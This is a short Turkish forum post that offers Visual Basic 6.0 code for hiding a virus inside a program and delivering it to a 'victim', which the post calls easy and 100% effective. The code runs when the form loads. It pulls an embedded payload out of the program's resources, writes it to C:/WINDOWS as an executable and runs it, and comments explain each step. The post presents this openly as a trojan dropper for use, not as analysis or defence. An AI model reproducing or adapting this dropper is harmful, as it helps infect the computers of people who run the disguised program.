Arkadaşlar Bugun Bi Kodu Size Açıklamak İstiyorum Bu kodlar İle Visual Basic 6.0 İle Programlarınıza Virüs Gömüp Kurbana Kolayca VE %100 Etkili Bir Yöntemdir Gerekli Açıklam Kodun Üzerinde YAPTIM Buyrun Kod
Evet Yorumu Eksik Kılmayın arkadaşlar
Kod:
Private Sub Form_Load ()
'Evet Arkadaşlar İlk Olarak Virüsünüzü Ressource Etmeniz Gerekmektesiniz
Dim resbytes() As Byte
resbytes = LoadResData(101, "CUSTOM")
Dim no As Byte
no = FreeFile
'Burada Program Açıldığında C Diskine Çıkartmamızı Sağlıyor
Open "C:/WINDOWS/SizinVirüs.exe" For Binary As #no
Put #no, , resbytes
Close #no
'Bu Kısımda İse Virüsünüzü Çalıştırmanızı Sağlyor
Shell ("C:/WİNDOWS/SizinVirüs.exe")
End SubEvet Yorumu Eksik Kılmayın arkadaşlar
Son düzenleme:
